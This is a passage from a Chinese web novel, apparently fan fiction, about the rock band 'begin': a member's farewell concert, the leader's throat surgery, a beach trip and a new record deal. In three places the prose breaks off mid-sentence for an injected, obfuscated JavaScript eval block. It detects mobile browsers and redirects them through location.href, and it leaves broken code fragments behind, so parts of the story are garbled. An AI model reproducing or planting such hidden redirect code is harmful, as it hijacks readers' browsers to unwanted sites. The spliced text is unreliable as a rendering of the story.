紧接着另一首同样摇滚风格的《玻璃球》,不得不说,阿波的吉他技术发挥的很稳定,之后远仔开始加入,两把吉他交相呼应,好似涛涛潮水汹涌而来。正当台下的观众对他们的solo意犹未尽时,下一秒便响起了《新的天地》前奏。 听到了吉他和贝斯的solo,自然世文的鼓solo是必不可少的,近乎五分钟的演奏,让现场气氛燃到顶点。 而后,上场的家熙背着吉他为观众带来了《卡门》solo,安静下来听他的表演,不同于原本的歌剧味道,尤其是后半段速度越来越快,世文的鼓紧紧跟着,好听又有趣。 接下来solo的是远仔,隔着乌压压一片人头,站在二楼的舒慕抱着胳膊,越听越感到惋惜,三个吉他手里面,他的风格是最变化多端的,即可以弹一些爵士类型,又能像阿波一样,甚至还会融入欧美调调。 如果他不走,该有多好! “怎么突然叹气了?”经纪人Leslie程发现了舒慕的不对劲,问道。 舒慕一眨不眨地盯着舞台,坦言:“我只是觉得人类的悲喜并不相通,瞧底下的观众肆意狂欢,可他们并不知道,今晚将是begin乐队五子时代的绝唱。” “乐队经历人员变动已经不是第一次了,幸好有家熙这个定海神针在,乐队会继续走下去的,不要太担心。”经纪人早已司空见惯乐队中的分分合合,眼前年轻人流露出的赤诚,倒让他有些莫名的触动,遂温言安抚道。 两人没有再过多交流远仔的话题,因为台上的家熙开始讲话了。 “在这个时候,老土一点,讲下爱情这个东西。” “我知道如果一个人没有爱情会很闷,很孤独,所以每一个人都会有份爱心在那里,但是有些人期待他的爱有机会付出,亦希望他付出的爱被他喜欢的人填补。幸运的话,大家可以很平均,你给一些我,我给一些你。不幸的话,就单单是付出而没有收获,那这样给着给着,爱心就消失了。我们用什么办法可以记得曾经的那份爱还在心里?用什么方法可以想起?我们除了可以回忆自己曾经在心里爱着一个人的心态以外,还可以追忆一下。” 说完,他低下头手指弹着琴弦。 在满怀伤感地唱完《追忆》,家熙眨眨眼睛,静了一会儿,试图压下胸口的闷涩。之后,他对着台下狂热躁动的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576925|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群慢慢讲道:“在这个时候,我要说些比较严肃的话。” “大家都明白在不同的时间,还有在成长的过程里面,我们都在不断的改变,每一个人都需要去变。小时候我们有很多梦想,但是梦想就比较难实现一点,长大一点我们就想很多的理想去实现,不过理想这个东西,可能在我们不同的环境里面,我们有不同的想法。” 微微平复气息,家熙继续道:“比如我们乐队的成员之一远仔,跟我们合作了有差不多三年的时间,他现在有别的理想去做,他跟我们说要离开我们。” 话音一落,全场观众都为远仔即将离开感到吃惊而呐喊。 “我希望远仔在将来的日子可以得到更大的成就,我们一起鼓励他,好不好?!”聚光灯打在家熙的身上,一颗颗晶莹的汗水任由在脸上滴落。 现场呼声不断,家熙仍继续抒发着自己的心声。 “有一天我去lunch,我很少一个去lunch,有个人在那里唱歌,他说那只歌他一定要唱,因为他说那只歌很惨很可怜,所以要唱。他唱什么歌,你们知不知道?是夏韶声的《交叉点》,但是我不同意哦!我觉得人生活的日子里面,不是要人可怜,不是说给别人听我有多惨,生活里面有很多的细节,都让我们很无奈,但是不需要说给别人听我们有多惨有多可怜,因为个个都是这样过的,对不对?” 回应他的又是一阵狂呼。 “但是我很喜欢我自己这首歌,因为这首歌不是说给别人听我们很惨,也不是要人可怜,我只是说给别人知道,生活里面的点点无奈,有时都要忍受一下的,歌名就叫理想再见。” 他拨动着琴弦,前奏响起,独特的沙哑嗓音富有感情地唱着:独坐路边街角受冷风吹醒…… 紧接着,他喊了声:“远仔!” 下一秒,所有人听到了智远加入乐队后的首次献唱,也是最后一次:只想将吉他抱紧诉说苦闷 阿波:心中一股冲劲勇闯 世文:仿佛身边拥有一切 家言:几许将烈酒斟满空杯 ………………………… 在队友们激情高昂唱着‘一起高呼rock roll’的歌声中,家熙坚定地语气透过话筒传向整个会场:“为什么我们次次在大日子里整个团队一起唱这首歌呢,因为我们都对这首歌有很强烈的归属感,大家都用自己的方式去表达这首歌。” 演唱会的末尾,以新专辑主打歌《旧日足迹》作为结束,而五子时期的begin也成为了只存在于人们脑海中的那抹回忆。 舒慕在后台叫住了智远,他身形一顿,慢吞吞地转过身来:“远仔,以后无论在哪,开心最重要,保重自己。” 智远握着乐器背带的手紧了紧,稚嫩乖巧的脸庞略微不自在地点了点头,见他实在说不出其他来,舒慕温和的赶他和乐队汇合。 望着智远单薄瘦弱的背影,舒慕第一次感受离别的滋味,那是一种不舍却又无能为力。 8. 第8章 有人离开,但日子总归要继续,乐队重新回到四人编制,为了心中的音乐理想,他们仍在咬牙坚持。 新专辑在推出三四个月后,销量同上次一样不尽如人意,只有2万张左右,与他们翘首以盼的金唱片奖相差甚远。 经纪人窝在办公室里,脸色深沉地望着手中的唱片,喃喃自语:“不应该的,我不会看错的,到底是哪里的问题呢。” 烦心的事情一件接着一件,与此同时,家熙因为最近总感觉喉咙不舒服而住进了医院,准备做一个小手术。 考虑到家熙还在修养当中,经纪人只能耐下心来,再等几天和他谈谈了。 本来喉咙的问题,家熙不以为意,觉得这只是个小问题,可身边朋友们的坚持和建议,不得不让他重视起来。 这天,乐队其他三子还在赶通告,几人约定在医院汇合,舒慕也只好先出发去探望,到了医院门口,猛地想起家熙电话里特意叮嘱的事情,于是又拐了弯到一家便利店,买了几只雪糕。 虽然,她也不知道,这个时候吃雪糕,有什么好的。 待舒慕拎着盛雪糕的袋子找到病房推门进去时,已经有家熙的好友在陪伴他。 倚靠着枕头的家熙眼尖地看到了出现在门口的舒慕,眸光一下子亮了起来,连忙坐直了身子,脱口而出的话却是:“舒舒,你有没有买雪糕?” 见他期盼的样子,舒慕歇了逗他的心情,从袋子里拿出一只雪糕递给他。 “你的喉咙还在修养,吃这个能行吗?”她把剩余的冰糕放进小冰箱里,做完一切坐过来看他吃的津津有味,有些不确定地问道。 几口冰冰凉凉下肚后,家熙一脸满足地叹息:“好味道,真是太舒服了。” “哥……哥……我们来了。”门外传来了大嗓门的声音。 舒慕偏过头去,家言、阿波和世文已出现在了门口,他们和屋里的人都是老相识,打了声招呼后,无所顾忌的随意找地儿坐了下来,加入了大家的交谈之中。 或许是习惯了自己在众人面前说个不停,眼下成了听大家侃侃而谈,吹着牛皮,鼓着腮帮子自娱自乐的他转了转晶亮的眼珠,转身拉开旁边的抽屉,从里面拿出来一个小瓶子。 然后,发着比往常更沙哑低沉的声音:“你们猜猜看,这是什么?” 阿波作为代表接了过来,众人化身好奇宝宝凑近来看,玻璃瓶里是黄色的液体,还有一小块肉瘤在瓶内漂浮。 大家努力的研究,盯着观察了半天,都没看明白这是什么。 舒慕眼皮一跳,直觉告诉她,那绝对不是什么好东西。 果然,耳边传来家熙哈哈大笑,又听他揭开了谜底:“这是医生从我喉咙里切出来的。” 舒慕登时睁大了眼睛,感到不可思议,别过脸去没眼看他顽童般的恶作剧。 坐在沙发上的阿波手一抖,如同烫手山芋似的,下意识直接把瓶子扔到一旁,白眼都要翻到天上去了,其他人纷纷吐槽着病床上笑得和孩子似的病号。 “天啊!” “有没有搞错!太恶心了吧。” “家熙,你这是什么恶趣味,还保留这个。” 床上坐着的病号眉眼弯弯,指了指自己的喉咙:“今天做的手术,休息两天就可以出院了,一开始不能大声讲话,医生说如果感到喉咙不舒服的时候,就可以吃雪糕舒缓一下。” “怪不得你让我买雪糕呢。”舒慕恍然大悟地说。 家熙笑着点了点头,心情愉悦:“一开始我还很担心,害怕喉咙的问题影响唱歌,现在心里的大石头终于落下了。” 舒慕递了几张纸巾,好方便他擦擦沾着雪糕水的手:“听你这么说,我们也就放心了,Leslie还问起你呢。” “是啊,哥。”家言幽幽叹气:“最近听不到你唠唠叨叨,还真有点不习惯哩。” 唉,家言这孩子,着实令人头疼,常常在表达温情的同时总带着时刻会被老哥修理的大实话。 “什么?” 瞧,某人不干了,本来黝黑的脸更黑了一度:“你竟敢说你哥我唠唠叨叨,最近顾不上管你,看来有点想上天,是不是?!” 家言下意识身子瑟缩了下,委委屈屈小声为自己辩解:“哪有,人家意思是想你快点恢复嘛。” “家熙。”舒慕适时解围说道:“你刚做完手术,要让喉咙好好休息才是。” 病房内,众人又聊了一会后,考虑到家熙需要更多的时间休息,便起身准备离开。 “喂!”家熙突然喊道。 舒慕等人脚步一顿,不明所以地齐齐转身看过去,以为正盘腿悠哉坐在床上的人是有多重要的事情告诉他们。 “你们再来看我的时候,记得带点小吃来好不好。” 众人额前三条黑线:“……” 这真的是舞台上稳重大气的许家熙吗?! 舒慕噗嗤一笑,流露着自己都浑然不觉的宠溺语气:“知道了知道了,你还是少说点话吧。” 大约两三天后,家熙顺利的出院了,经纪人十分大气地给乐队放了两天假,让他们放松放松。 在家里休息的家熙,不出意外只安分了半天的时间,便迫不及待的一一致电好友,召集大家一起到半月湾露营。 当天,待大家码头汇合后,便坐上了游艇前往外海方向,大约四十分钟后,到达了目的地。 一下船,舒慕不紧不慢的跟在后面,吹着温柔的海风,听耳边不停传来海浪拍打沙滩的声音,望着眼前清澈的风景,有种说不出的惬意,舒服的让她只想将时间定格。 什么工作,去他的。 另一边,几个小伙子像是撒了欢儿似的,有下水游泳的,有兴奋要钓鱼的,还有的直接躺在沙滩座椅上晒太阳。 对了,还有正为搭帐篷而吵吵不停的两个幼稚鬼。 “阿波,你来搭。”这是家言欢快的声音。 “你搭。”阿波冷冷地瞥了一眼静静躺在地上等待临幸的工具。 “你搭啦。”家言竟然撒娇? 舒慕竖起耳朵听,一个比一个嗓门高,两人的拉锯战开始,稀奇的是,听着他们俩一个冷酷、一个软绵绵,最后升级成无厘头的吵嘴,反而感到画风很搞笑。 正饶有兴趣地想看最后到底是谁搭帐篷时,一个人影脚下带风,从她身边飞快走了过去,等她再看清楚时,家熙已经虎着脸教育那俩熊孩子。 “搭个帐篷都这么费劲,帐篷都不惜的搭理你俩。” 听着他奇奇怪怪蹦出的言论,舒慕一个没忍住,扑哧笑出了声。 和这支乐队待久了,她感觉自己体会到了什么叫发自内心的开心。 那边的家熙继续骂骂咧咧:“这不用你们俩了。” 这么好?两个脑袋猛地抬头看他,得意的笑容还没来得及挂上嘴边,转眼就听家熙不容置疑地指挥: “去准备烧烤的食材和用具,晚餐交给你们二位了。” “不是吧?”两人摆着苦瓜脸哀嚎,从对方的目光中看到了后悔。 阿波试图挽救:“我觉得我们还是继续研究怎么搭帐篷吧。” 家言立马上道地附和:“我同意。” 比起更麻烦的活儿,他们明智的选择前者,只可惜某人丝毫没给退路。 “我不同意。”家熙说:“早干嘛去了,劳动最光荣,快去。” 希望破灭,阿波和家言哭丧着脸并排走着去准备BBQ的食材。 “你看,被你哥教育了吧。” 家言哼了一声:“你还说我,咱们彼此彼此。” 阿波:“下次就不要让他听见嘛,免得又被教育,头疼。” 家言:“就是啊,絮絮叨叨。” “走,咱们去看看有什么好吃的。”阿波搭着家言的肩膀慢悠悠走着,好兄弟说着悄悄话,不时哈哈大笑,惊的在此地休憩的飞鸟瞬间拍拍翅膀体贴让位。 舒慕定定地看着那两个少年的背影,内心正感叹他们脾气来得快,去得也快时,耳边突然传来一道爽朗好听的声音。 “舒舒,你在看什么呢?” 她侧过头去,笑着给坐在她身边的家熙指了指不远处认命准备晚餐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576926|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个倒霉鬼,委婉地问:“他们一直……都是这样吗?” 没敢直说这两人的性格。 “对呀。这俩人特别爱玩,凑在一起那更是调皮的不得了,阿文性格温和,所以总会被他们捉弄。” “他们不捉弄你?” “敢!”家熙眼睛一瞪,转而又得意洋洋地说:“他们可是从来没有捉弄我成功过。” “可以想象那个画面。”舒慕一脸‘我明白’的样子。 “家熙。” 他低头玩着海滩的沙土:“嗯?” “广培哥前两天毛遂自荐想加入你们乐队补智远键盘手的角色,你为什么没有答应他呢?”舒慕记得他之前说过很欣赏这人的才华。 家熙推了推他那标志性的苍蝇头眼镜:“其实自从远仔离队后,我就不打算再招新成员了,人多起来,意见就会变得更多,何况我们四个人有时候也会难以调和。” 舒慕幽幽叹息:“你说的有道理,组乐队很不容易,尤其你们这种创作型的,如果要走的长远,更是难上加难。” “好了,不想这些了,今天出来就要好好玩。”家熙站了起来,拍拍屁股上的沙土,说:“我们去看看阿波和家言准备的怎么样了。” “好。” 这时,天色已经渐渐暗了下来,在帐篷旁边,大家支起了长方形的餐桌。另一边烤架前,家言正拿着各种蔬菜肉串灵活的翻过来翻过去,适时的蘸点调料,而阿波则负责将烤熟的食物摆在盘子上。 这架势,还挺像回事儿。 据说,主烤的选定是家言和阿波Cei玎壳得出来的结果。 “有人服务就是好哇。”家熙拿起一串鸡翅,放在鼻子跟前闻了闻,发出无比赞叹,顺带夸奖了今晚最辛苦的两个工具人:“阿波、家言,味道非常正,是不是,世文?” 向来惜字如金的世文点头,认真地评价:“好吃。” 烟熏火燎下脸颊通红的两个工具人交换了下眼神,姿态狂妄地放话:“那是,也不看看是谁烤的?” 夸两句,又傲娇上了。 “闻着味儿就觉得不错。” “那我们也开始吧。” 其他朋友们对着桌上的美味佳肴发起了猛烈的攻势。 众人吃饱喝足后,有人提议玩大风吹的游戏,考验的是自己的反应力,游戏的规则是大家背对着,一排是牙膏,一排是牙刷,站在中间的当领袖。叫牙膏的时候,牙膏就要捉住牙刷,牙刷跑,同样的,叫牙刷的时候,要捉住牙膏,牙刷跑。 很清楚自己是游戏黑洞的舒慕,明智的摆摆手:“我不行,我不会。” 秉承着绝对不能让朋友只当看客的家熙坚持邀请:“玩两次就会了,一起了一起了。” 对上那双坚定明亮的大眼睛,还有周围朋友们也在随声附和,舒慕无法拒绝:“好吧。” 全体各归各位,游戏正式开始。 “牙膏!”家熙大声喊道。 第一局,作为牙膏的家言手疾眼快地抓住了舒慕。 第二局,作为牙膏的晓云抓住了舒慕。 好不容易家熙到第三局喊了牙刷,可惜舒慕不是没抓住人,就是差一点点又被对方挣脱开。 舒慕:“……”这个游戏不是专门玩她的吧。 “舒舒,我也要玩一玩,你来替我。”或许家熙发现舒慕真的不是玩游戏的好手,看不下去的他灵机一动,想了更合适的主意。 彻底放松下来的舒慕开心闲适的走到中间,尽职尽责的扮演起裁判的角色。 不亲身体会不知道,整个过程中,家熙玩游戏好认真,在他的眼皮子底下,谁都不能耍赖,否则他真的会争论到让你败下阵来为止。 又在一声号令下,游戏宣告结束,所有人玩的很尽兴,也略感到疲惫,大家或坐或躺在沙滩上,安安静静的,谁都没有说话,但却感到踏实充盈。 片刻,家熙拿出了心爱的木吉他,弹奏起了偶像David Bowie的“Space Oddity”,大家在星空下慵懒的轻轻合唱,享受当下美好静谧的夜晚。 9. 第9章 接连两张专辑销量的惨淡,以及同年电台举办的中文金曲奖“最佳组合”铜奖都没能落着,这更让经纪人Leslie程觉察到电台或是媒体对小作坊存在某种程度的轻视,深思熟虑后,他决定未来只专职从事经纪人工作,将音乐制作、发行事宜转给业内知名度较高的新丽宝唱片公司,加之任职总经理的陈小宝也与他有些交情,合作起来也会顺畅很多。 Leslie程没办法放弃这支乐队,他固执的相信,这四个有时虽然调皮难搞、桀骜不羁,但才华横溢的少年,总有一天,是会火的。 “Leslie。”家熙敲敲门,站在门口唤他。 看到来人,Leslie程放下手里的资料,笑着招呼:“家熙,快来坐。” “Leslie,新专辑的销量还是没有达到两万五千张,公司还会帮我们出第三张专辑吗?”家熙的神情显得很平静,没有对结果的怨恼,只是有些许的无奈。 他更担心的是,如果公司不再为他们发行专辑,那乐队该何去何从? 接下来,经纪人的话似乎给他吃了一剂定心丸:“前两张专辑数据不好,可能在于宣传力度和制作上都存在欠缺的地方,所以第三张专辑,我准备交给大一点的唱片公司来做。” 家熙顺势问道:“你已经联系好了?” Leslie程‘嗯’了一声,告诉他:“我认识的陈小宝最近在走运,他现在是宝丽公司旗下新丽宝的总经理,我和他谈了合作的事情,恰巧他对你们乐队有一定的了解,也很欣赏你们,所以他已经答应签下你们。” “那太好了。”家熙紧绷的心态放松了下来。 对他和乐队来说,签哪家公司都无所谓,只要有人愿意帮他们出唱片,就很开心了。 “对了,你记不记着之前有一个录好的Demo,当时你取名长江。”Leslie程对这首歌记忆深刻,因为当时他认为一定会爆火,只是考虑到乐队知名度还未打响,贸然发布,恐怕反而会埋没好作品。 “当然记得。”家熙对这个Demo印象深刻,很喜欢其中的中国韵味,只不过经纪人劝他时机未到,等等再说。 他心想,这一等,现在这盘带子说不定已经积了不少灰尘。 “你回去找找,我们这次要用到了,另外我计划这首歌还是交给刘卓晖来填词。”Leslie程告诉他。 家熙沉思片刻,旋即明白这首歌对乐队的重要性,没有过多犹豫:“好,就按你说的做。” 二人接着聊了后续乐队的发展,成为职业乐队,是不能和过去一样,随心所欲玩自己想玩的音乐,起码在还没有成功之前,是要妥协于商业的一系列包装和运作。 等家熙再回到二楼后座的时候,舒慕已经在那陪着三子训练。 “刚才我已经告诉了他们关于和新丽宝签约的事情。”过来之前,Leslie程将乐队签约新东家的消息同步给了她。 舒慕低声问:“这下是不是更有动力了?” “是啊。”家熙笑了笑,那个浑身都充满自信地少年又回来了:“我们在音乐上的成就原本就可以走得更远,只可惜一直时运不济,相信以后会越来越好的。” 舒慕也是满满的期待:“新丽宝在港城是很有实力的唱片公司,我想这是一个很好的开始。” 另一边训练室内的声音突然停了下来,抬头看去,里面的人开门走了出来,大家一起对转到新东家,展开了热烈的话题讨论。 “又能继续玩音乐了,太好了。”家言眼睛里闪烁着喜悦,兴冲冲地说。 世文依旧不急不躁的性子:“上一张专辑本来以为会买到金唱片数量,但专辑出版的那段时间,所有唱片的价格都在上涨,导致乐队专辑的销量也大受影响,这也是其中一个原因。” 阿波很自然地往下接,言语充满直爽和幽默:“大公司,有钱有资源,我们又能活下去了。” 轮到家熙,他的目光灼灼,语气坚定有力量,抱着必胜的决心说:“我相信begin拥有的实力,一起加油。” 阿波拍了拍他的肩膀,以男人的方式给予他支持。 不同于家言开心起来笑容憨憨的,世文那一抹公子如玉的笑,若是有女粉丝在场,估计尖叫声会一大片。 第二天,经纪人带着乐队和舒慕与新东家总经理陈小宝见面。 进入新丽宝大楼,众人的眼睛一直在四处观光,当看到与他们擦肩而过穿着西装打着领带的人时,再一看自己清一色T恤和牛仔裤的搭配,更让他们既激动又紧张。 成员中,唯独家熙表现得很淡定,时不时和经纪人聊上几句他对这个地方的感想。 “咚咚咚” “请进。” Leslie程推门而进:“小宝,我带着乐队过来了。” 陈小宝的视线从电脑转移到鱼贯而入的乐队四人,外加一个年轻的小姑娘。 疑惑的目光看去,Leslie程介绍道:“这是乐队的助理。” “陈总好,我叫舒慕。” 陈小宝冲她温和的笑笑:“好。” 心想,看上去是个老实本分的丫头,接着转头看向Leslie程:“看来我就不需要再给他们配助理了。” Leslie程对此没有什么意见,用熟悉的人省事儿很多:“这丫头有潜力,没有太让我操心过,乐队每次外出活动或者日常生活,能帮他们扛乐器,背行李,做的很好。” “能吃苦、肯卖力,是成功的前提。”听Leslie程的一番话,再次看向舒慕时,陈小宝的眼睛里多了一份赞许。 相似的出身背景和性格,怪不得这个姑娘和乐队的关系看上去很不错。 “好了,既然人都到齐了,我们开始说正题。”陈小宝说:“乐队之前所出的两张专辑销量都未达理想,第一张专辑销量是2万张,首次专辑的成绩客观来说还是不错的。” “但是你们的第二张专辑销量仍然是2万张,和你们同期发展的太阳乐队,他们的第二张专辑突破了两万五千张,顺利达到了白金唱片的标准。我研究了一下其中的问题。” 说着拿出自己收集的资料文件,把他对乐队、对市场的了解,全方面分析给他们听:“现在乐队面临一个至关重要的转型,毕竟重金属音乐还不能成为大众化,需要稍微迎合一下市场需求。” 家熙表示没有问题,他们愿意配合。 陈小宝正色道:“根据合约,唱片的容量为十首歌,之后接近两个月,是大家选歌、录音、后期制作和新专辑封面拍摄一系列的工作,时间比较紧张,我们保质保量,务必做到一炮打响。” 家熙看向他,像是在回答他,又好像是在告诉自己:“一定。” 鉴于乐队十分认可与他们合作多次的制作人王华的能力,此次新专辑的录制,很自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576927|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然地再次携手。另一边的刘卓晖也收到了Leslie程寄来的Demo,看到上面写着《长江》的字眼,让他敏感的意识到音乐背景应该来自于内地。 几天后,刘卓晖不辱使命交出了歌词,Leslie程把家熙叫了过来。 家熙反复哼唱了很多遍,从他的眉眼和勾起的嘴角中显而易见对这首新鲜出炉的作品有多欣赏。 良久,他放下稿子,对这位幕后填词朋友由衷地感到敬佩:“很精彩!歌词表达了对家国情怀的深深眷恋,我们没有他的那种笔力。” “家熙,我希望这首歌交给阿波来唱。”看着他开心激动的样子,Leslie程平静地又告诉了他另一件事。 经纪人的建议令他一时间没有反应过来,因为此前,他的脑子里已经想了很多对这首歌的演绎方式。 “是这样的。”在商业方面,做了多年经纪的Leslie程做出来了更专业的解释:“你的嗓音高亢,偏重于摇滚味儿,阿波的嗓音有种清新清脆的感觉,更适合把这首歌饱含的情感表达出来。” “你也清楚目前乐队的情况,这首歌,非常关键。” Leslie程点到为止,他相信家熙一定能明白这样做的目的,虽然他们一个带着商业视角,一个纯粹只想玩音乐,但现在,两个人的出发点绝对都是一样的,那就是乐队必须活下去,先活下去,才能讲自由权。 陷入沉思中的家熙,联想到乐队的生存,他心里明白,面对经纪人所言,自己只有接受的份儿。 “好,那就这么决定了,我回去就告诉阿波。” Leslie程欣慰地拍拍他的肩膀:“好。” 回到二楼后座,家熙省略了和Leslie程之间的交谈细节,他一屁股坐在沙发上,从口袋里拿出来《大地》的稿子,放在桌面上,对着不明所以地成员们宣布:“这首歌,我决定交给阿波来唱。” “我?”突然被点名的阿波指了指自己,小眼睛呆呆的,见家熙对他郑重的点点头,那摇头摇的和拨浪鼓似的:“不行不行,我唱不了。” “你可以的。” “你来吧,我还是在你旁边,专心弹我的吉他。” “阿波,这首歌很适合你。”家熙旋即开启了话匣子模式,摆出了种种无法让对方拒绝的理由:“你现在在拍电视剧,人气在那摆着,听众更容易接受,再加上我们其他人的声音和这首歌也不是很搭。” 话说到这个份上,素来直爽的阿波也不再扭捏,或许也是有不想再让家熙继续唠下去的嫌疑,他捧着那张新鲜出炉的歌词,说:“那……我尽力把它唱好。” 家熙在心里默默舒了一口气,鼓励地眼神望向他:“好。” 坐在一旁的世文和家言也为他鼓劲儿打气。 眼见兄弟几个对他的支持和期许,阿波骨子里不服输的力量迸发了出来,他告诉自己,千万不能掉链子。 之后,家熙带着三人继续开始了排练。 当舒慕来探班得知这个消息时,终究没忍住自己的好奇心,问道:“家熙,你之前不是一直想唱这首歌吗?” “我觉得Leslie说的有道理,歌曲要选择合适的人来唱,才能唱出它本身的感觉。”家熙淡然地笑了笑,随即指出:“而且,现在乐队面临最艰难的时候,这首歌是我们打翻身仗的关键,所以我不会执着于必须由我主唱,一切以乐队为主。” 10. 第10章 乐队其他成员在录音室录歌的同时,家熙正坐在陈小宝的办公室,和他聊着《大地大地》这首歌。 半晌,听完这盘磁带的陈小宝由衷的评价道:“可以,比较摇滚但又带着中国风,我觉得听着很过瘾。” 顿了一顿,又说:“我有预感,这首歌会是我和你合作的一次突破。” 家熙回之一笑:“如果你觉得OK的话,我想其他歌录的差不多了,这首要尽快,然后出碟。” “好,没有问题。”陈小宝痛快地应了下来,理所应当的以为这首歌由他主唱,于是很自然地提醒道:“但这首歌的音调很高,你要降一下才好。” 没成想,家熙却说:“这首歌我决定给阿波唱。” 陈小宝神色一顿,奇怪地注视着他,仿佛无法理解他的做法:“第一首这么重要的主打歌,作为主唱却交给吉他手,你怎么会做出这样的决定?” 在他看来,通常主唱才是一个乐队的灵魂。 可显然,他还没有很了解,在begin乐队这,每一位成员都有成为主唱的可能。 家熙云淡风轻地回答:“这首歌如果我唱的话,达不到应该有的效果,给阿波是最好的。” “你确定吗?” “我很确定。” “你能保证,其他队员不会有意见吗?” 回答他的,则是对方的斩钉截铁:“家言和世文不会介意,因为我是大哥。” 经此一事,陈小宝更加欣赏眼前这位能以大局考虑的年轻人。 转入新丽宝之后的第一张专辑,录音工作如火如荼进行当中,比起歌词,更要注重音乐表达的制作人听着耳机传入的歌曲,一会舒展着眉头,一会又拧着眉,有时他也会对乐队夸张或者刻意强调的词语无情丢弃。 总之,整个过程无法使乐队随性地去享受音乐,幸而,他们懂得忍耐。 也或许是新环境的缘故,让一路挫败的四个大男孩重拾了信心,他们借此机会重录了《理想再见》,赋予了它不同的意义。 值得一提的是,经过重新编曲后,这次改为了四人合唱版本,其中世文更是献出了自己的首唱。 专辑录制期间,乐队不仅仍然要去酒吧驻唱,维持基本日常开销,为了增加收入,阿波往返于片场和录音室之中,短短一周的时间,舒慕发现他瘦的和个电线杆子似的。 这天,舒慕跟着阿波在片场忙来忙去,家熙带着已经录完音的家言和世文回到二楼后座,一开门,三个人累的非常整齐划一瘫倒在沙发上。 过了许久,家言有气无力地开口:“哥。” 家熙闭着眼假寐:“干嘛?” “肚子在叫。”他拍拍肚皮。 “舒舒打电话来,说是给我们带饭,一会她就和阿波就回来了。” “奥。” 三分钟后。 “哥。” “……” 世文紧紧抿着唇,生怕笑出声。 “干嘛?”家熙抽了抽嘴角。 “我好饿,舒舒姐和阿波什么时候能回来呀?” “该回来的时候自然会回来了,阿波去完片场,还要再到录音室录自己那部分,就算很顺利,也不会很快就收工啊。” “再说了,我们饿,他们肯定也一样。” “另外,录完音打车难道是那么迅速的吗?不得需要时间啊!” 尽管因为录音工作,嗓子有些嘶哑的家熙仍然不耽误他喋喋不休,即使是躺在地上,语气中威严的气势也很足。 家言:“……” 旁边的世文蜷着身子,捂着嘴,用尽力气憋着笑。他忍不住心想:家言这孩子,不知道他哥惹不起,尤其在说话上。 实在忍不了家熙滔滔不绝的家言捂着耳朵翻了个身,表现出的求生欲极强:“我错了,我不饿,我不饿。” “嗯。”家熙这才满意的收了声。 或许是听到了他们内心的呼唤,差不多十几分钟后,屋内寂静的氛围终于被打破,开门声响起。 下一秒,舒慕和阿波的声音传了过来:“我们回来了。” “太棒了,舒舒姐。”家言抱着米老鼠抱枕,有气无力地说了一句:“我终于……能饿了。” “什么?”舒慕和阿波一怔,没太明白。 就在两人感到莫名其妙时,本来大刺刺躺在地上的家熙利落地坐了起来,顶着乱糟糟的头发,闪着满脸期待的明亮眼睛,直奔主题:“舒舒,电量不足,赶快开饭吧。” 跟着已坐起来的世文朝她不好意思地笑笑。 原来是这样。舒慕好笑地瞥了一眼哼哼卿卿的家言,估计刚才她错过了一场好戏。 “那快来充电吧。”舒慕走到饭桌前,拿出一盒盒的便当、筷子:“阿波,放下东西也快来吃吧。” 阿波:“好。” 舒慕呆呆地看着几个大男人狼吞虎咽的样子,想关心一下今天录音情况的心思也没有了,还是不打扰他们好好吃饭了。 从录音室打车回来的路上,舒慕和阿波闲聊解闷,阿波仰坐着,说起自己最近简直累到吐血,但又想到乐队能尽早红起来,倒也值得的双重心情。 舒慕听得心中一暖,顺嘴安慰他:你们每一个人的辛苦一定会被看到的,乐队成功只是时间早晚的问题而已。 许是饿了的缘故,大家都在夸饭菜很可口。 吃完饭后,舒慕卷起袖子,准备收拾桌子,世文走过来想要帮忙,被她挥挥手赶去休息,阿波和家言互相倚靠的坐在沙发上,享受此刻的悠哉悠哉。 半晌,恢复了精气神儿的家熙,活动了下筋骨,对他们三个说:“你们自由活动,我进屋了。” 排练室的门再次关上,世文才收回目光,很有经验的说:“看来家熙又要到后半夜了。” 难掩困意的阿波站了起来,他打了个哈欠,迷瞪着小眼睛:“阿文,我今晚在这睡了。” 同样懒得不愿动弹的家言像个小跟班似的跟在后边:“我也不走了,大家晚安。” “他们俩吵的时候是真让人头疼,好的时候又属实让人羡慕。”谁不向往吵都吵不散的情谊呐,单枪匹马独自打拼惯了的舒慕本以为自己早练就了世事淡泊,却不得不承认发自内心的怅然和嫉妒。 世文似乎没有发觉她情绪的变化,他笑了笑,眼神清澈干净,语气中带着兄弟之间相处多年才有的感情:“他们小打小闹,我都习惯了,要是突然有一天都安静下来,我反而觉得很可怕。” 舒慕的脑海里不由自主地浮现出他所说的画面,也笑了:“你说的没错,还是维持这种热闹好。” 